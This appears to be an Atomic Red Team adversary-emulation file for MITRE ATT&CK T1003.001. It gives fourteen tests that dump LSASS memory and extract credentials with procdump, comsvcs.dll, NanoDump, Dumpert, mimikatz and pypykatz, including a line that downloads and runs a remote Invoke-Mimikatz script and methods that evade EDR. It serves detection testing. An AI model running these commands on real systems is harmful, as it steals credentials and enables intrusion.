# T1003.001 - OS Credential Dumping: LSASS Memory

## Description from ATT&CK

> Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).
> 
> As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.
> 
> For example, on the target host use procdump:
> 
> * <code>procdump -ma lsass.exe lsass_dump</code>
> 
> Locally, mimikatz can be run using:
> 
> * <code>sekurlsa::Minidump lsassdump.dmp</code>
> * <code>sekurlsa::logonPasswords</code>
> 
> Built-in Windows tools such as `comsvcs.dll` can also be used:
> 
> * <code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)
> 
> Similar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS)
> 
> Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
> 
> The following SSPs can be used to access credentials:
> 
> * Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
> * Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
> * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
> * CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)

[Source](https://attack.mitre.org/techniques/T1003/001)

## Atomic Tests

- [Atomic Test #1: Dump LSASS.exe Memory using ProcDump](#atomic-test-1-dump-lsassexe-memory-using-procdump)
- [Atomic Test #2: Dump LSASS.exe Memory using comsvcs.dll](#atomic-test-2-dump-lsassexe-memory-using-comsvcsdll)
- [Atomic Test #3: Dump LSASS.exe Memory using direct system calls and API unhooking](#atomic-test-3-dump-lsassexe-memory-using-direct-system-calls-and-api-unhooking)
- [Atomic Test #4: Dump LSASS.exe Memory using NanoDump](#atomic-test-4-dump-lsassexe-memory-using-nanodump)
- [Atomic Test #5: Dump LSASS.exe Memory using Windows Task Manager](#atomic-test-5-dump-lsassexe-memory-using-windows-task-manager)
- [Atomic Test #6: Offline Credential Theft With Mimikatz](#atomic-test-6-offline-credential-theft-with-mimikatz)
- [Atomic Test #7: LSASS read with pypykatz](#atomic-test-7-lsass-read-with-pypykatz)
- [Atomic Test #8: Dump LSASS.exe Memory using Out-Minidump.ps1](#atomic-test-8-dump-lsassexe-memory-using-out-minidumpps1)
- [Atomic Test #9: Create Mini Dump of LSASS.exe using ProcDump](#atomic-test-9-create-mini-dump-of-lsassexe-using-procdump)
- [Atomic Test #10: Powershell Mimikatz](#atomic-test-10-powershell-mimikatz)
- [Atomic Test #11: Dump LSASS with createdump.exe from .Net v5](#atomic-test-11-dump-lsass-with-createdumpexe-from-net-v5)
- [Atomic Test #12: Dump LSASS.exe using imported Microsoft DLLs](#atomic-test-12-dump-lsassexe-using-imported-microsoft-dlls)
- [Atomic Test #13: Dump LSASS.exe using lolbin rdrleakdiag.exe](#atomic-test-13-dump-lsassexe-using-lolbin-rdrleakdiagexe)
- [Atomic Test #14: Dump LSASS.exe Memory through Silent Process Exit](#atomic-test-14-dump-lsassexe-memory-through-silent-process-exit)

### Atomic Test #1: Dump LSASS.exe Memory using ProcDump

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.

**Supported Platforms:** Windows

**auto_generated_guid:** `0be2230c-9ab3-4ac2-8826-3199b9a0ebf8`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_file | Path where resulting dump should be placed | path | C:&#92;Windows&#92;Temp&#92;lsass_dump.dmp|
| procdump_exe | Path of Procdump executable | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;procdump.exe|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
```

#### Cleanup Commands

```cmd
del "#{output_file}" >nul 2> nul
```

#### Dependencies: Run with `powershell`!

##### Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})

###### Check Prereq Commands

```powershell
if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force
```

### Atomic Test #2: Dump LSASS.exe Memory using comsvcs.dll

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.

**Supported Platforms:** Windows

**auto_generated_guid:** `2536dee2-12fb-459a-8c37-971844fa73be`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
```

#### Cleanup Commands

```powershell
Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore
```
### Atomic Test #3: Dump LSASS.exe Memory using direct system calls and API unhooking

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. 
https://github.com/outflanknl/Dumpert
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
Upon successful execution, you should see the following file created C:\\windows\\temp\\dumpert.dmp.

If you see a message saying \"The system cannot find the path specified.\", try using the  get-prereq_commands to download the  tool first.

**Supported Platforms:** Windows

**auto_generated_guid:** `7ae7102c-a099-45c8-b985-4c7a2d05790d`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| dumpert_exe | Path of Dumpert executable | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;Outflank-Dumpert.exe|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
"#{dumpert_exe}"
```

#### Cleanup Commands

```cmd
del C:\windows\temp\dumpert.dmp >nul 2> nul
```

#### Dependencies: Run with `powershell`!

##### Description: Dumpert executable must exist on disk at specified location (#{dumpert_exe})

###### Check Prereq Commands

```powershell
if (Test-Path "#{dumpert_exe}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -ItemType Directory (Split-Path "#{dumpert_exe}") -Force | Out-Null
Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile "#{dumpert_exe}"
```

### Atomic Test #4: Dump LSASS.exe Memory using NanoDump

The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

https://github.com/helpsystems/nanodump

Upon successful execution, you should find the nanondump.dmp file in the temp directory

**Supported Platforms:** Windows

**auto_generated_guid:** `dddd4aca-bbed-46f0-984d-e4c5971c51ea`

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
```

#### Cleanup Commands

```cmd
del "%temp%\nanodump.dmp" >nul 2> nul
```

#### Dependencies: Run with `powershell`!

##### Description: NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)

###### Check Prereq Commands

```powershell
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/fortra/nanodump/raw/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe"
```

### Atomic Test #5: Dump LSASS.exe Memory using Windows Task Manager

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
Manager and administrative permissions.

**Supported Platforms:** Windows

**auto_generated_guid:** `dea6c349-f1c6-44f3-87a1-1ed33a59a607`

#### Attack Commands: Run it with these steps! 
1. Open Task Manager:
  On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking
  on the task bar and selecting "Task Manager".

2. Select lsass.exe:
  If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe
  and select it for manipulation.

3. Dump lsass.exe memory:
  Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file.


### Atomic Test #6: Offline Credential Theft With Mimikatz

The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.

**Supported Platforms:** Windows

**auto_generated_guid:** `453acf13-1dbd-47d7-b28a-172ce9228023`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_file | Path of the Lsass dump | path | %tmp%&#92;lsass.DMP|
| mimikatz_exe | Path of the Mimikatz binary | string | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;x64&#92;mimikatz.exe|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
```


#### Dependencies: Run with `powershell`!

##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})

###### Check Prereq Commands

```powershell
if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path "#{mimikatz_exe}" | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
```

##### Description: Lsass dump must exist at specified location (#{input_file})

###### Check Prereq Commands

```powershell
cmd /c "if not exist #{input_file} (exit /b 1)"
```

###### Get Prereq Commands

```powershell
Write-Host "Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)"
```

### Atomic Test #7: LSASS read with pypykatz

Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

Successful execution of this test will display multiple usernames and passwords/hashes to the screen.

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.

**Supported Platforms:** Windows

**auto_generated_guid:** `c37bc535-5c62-4195-9cc3-0517673171d8`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| venv_path | Path to the folder for the tactics venv | string | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;venv_t1003_001|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
"#{venv_path}\Scripts\pypykatz" live lsa
```

#### Cleanup Commands

```cmd
del "%temp%\nanodump.dmp" > nul 2> nul
```

#### Dependencies: Run with `powershell`!

##### Description: Computer must have python 3 installed

###### Check Prereq Commands

```powershell
if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe"
Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
```

##### Description: Computer must have venv configured at #{venv_path}

###### Check Prereq Commands

```powershell
if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit 1 }
```

###### Get Prereq Commands

```powershell
py -m venv "#{venv_path}"
```

##### Description: pypykatz must be installed

###### Check Prereq Commands

```powershell
if (Get-Command "#{venv_path}\Scripts\pypykatz" -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
```

###### Get Prereq Commands

```powershell
& "#{venv_path}\Scripts\pip.exe" install --no-cache-dir pypykatz 2>&1 | Out-Null
```

### Atomic Test #8: Dump LSASS.exe Memory using Out-Minidump.ps1

The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.

Author of Out-Minidump: Matthew Graeber (@mattifestation)

**Supported Platforms:** Windows

**auto_generated_guid:** `6502c8f0-b775-4dbd-9193-1298f56b6781`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
```

#### Cleanup Commands

```powershell
Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore
```
### Atomic Test #9: Create Mini Dump of LSASS.exe using ProcDump

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe

Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.

**Supported Platforms:** Windows

**auto_generated_guid:** `7cede33f-0acd-44ef-9774-15511300b24b`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_file | Path where resulting dump should be placed | path | C:&#92;Windows&#92;Temp&#92;lsass_dump.dmp|
| procdump_exe | Path of Procdump executable | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;procdump.exe|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
```

#### Cleanup Commands

```cmd
del "#{output_file}" >nul 2> nul
```

#### Dependencies: Run with `powershell`!

##### Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})

###### Check Prereq Commands

```powershell
if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force
```

### Atomic Test #10: Powershell Mimikatz

Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks execution. 
Or, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA"

**Supported Platforms:** Windows

**auto_generated_guid:** `66fb0bc1-3c3f-47e9-a298-550ecfefacbc`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| remote_script | URL to a remote Mimikatz script that dumps credentials | url | https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
```

### Atomic Test #11: Dump LSASS with createdump.exe from .Net v5

Use createdump executable from .NET to create an LSASS dump.

[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)

**Supported Platforms:** Windows

**auto_generated_guid:** `9d0072c8-7cca-45c4-bd14-f852cfa35cf0`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
```

#### Cleanup Commands

```powershell
Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore
```

#### Dependencies: Run with `powershell`!

##### Description: .Net v5 must be installed

###### Check Prereq Commands

```powershell
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
if ($exePath -and (Test-Path $exePath)) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
winget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreements --accept-package-agreements --silent
```

### Atomic Test #12: Dump LSASS.exe using imported Microsoft DLLs

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump 
file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.

Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.

**Supported Platforms:** Windows

**auto_generated_guid:** `86fc3f40-237f-4701-b155-81c01c48d697`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| xordump_exe | Path to xordump | path | C:&#92;Windows&#92;Temp&#92;xordump.exe|
| output_file | Path where resulting dump should be placed | path | C:&#92;Windows&#92;Temp&#92;lsass-xordump.t1003.001.dmp|

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
#{xordump_exe} -out #{output_file} -x 0x41
```

#### Cleanup Commands

```powershell
Remove-Item #{output_file} -ErrorAction Ignore
```

#### Dependencies: Run with `powershell`!

##### Description: Computer must have xordump.exe

###### Check Prereq Commands

```powershell
if (Test-Path '#{xordump_exe}') {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile #{xordump_exe}
```

### Atomic Test #13: Dump LSASS.exe using lolbin rdrleakdiag.exe

The memory of lsass.exe is often dumped for offline credential theft attacks. 
This can be achieved with lolbin rdrleakdiag.exe. 

Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and  $env:TEMP\results_<PID>.hlk.

**Supported Platforms:** Windows

**auto_generated_guid:** `47a539d1-61b9-4364-bf49-a68bc2a95ef0`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
```

#### Cleanup Commands

```powershell
Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore
```
### Atomic Test #14: Dump LSASS.exe Memory through Silent Process Exit

WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a 
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism 
introduced in Windows 7 called Silent Process Exit, which provides the ability to trigger
specific actions for a monitored process in one of two scenarios; either the process terminates
itself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. 
The major advantage of this technique is that it does not cause lsass.exe to crash, and since 
WerFault.exe is used to create file dumps all the time (not just lsass.exe), this method provides 
the added advantage of going undetected. WerFault.exe is a process known for dumping every crashing process, 
from an attacker standpoint this is appealing as their illicit credential extraction will 
appear benign because from a defender’s viewpoint it’s within the realm of normal activity.

Upon successful execution, you should find the dump file in directory of your choice or "%temp%\SilentProcessExit" by default.

**Supported Platforms:** Windows

**auto_generated_guid:** `eb5adf16-b601-4926-bca7-dad22adffb37`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_folder | Folder Path where resulting dump should be placed | path | %temp%&#92;SilentProcessExit|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
```

#### Cleanup Commands

```cmd
rmdir "#{output_folder}" /s /q >nul 2> nul
```

#### Dependencies: Run with `powershell`!

##### Description: NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)

###### Check Prereq Commands

```powershell
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/fortra/nanodump/raw/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe"
```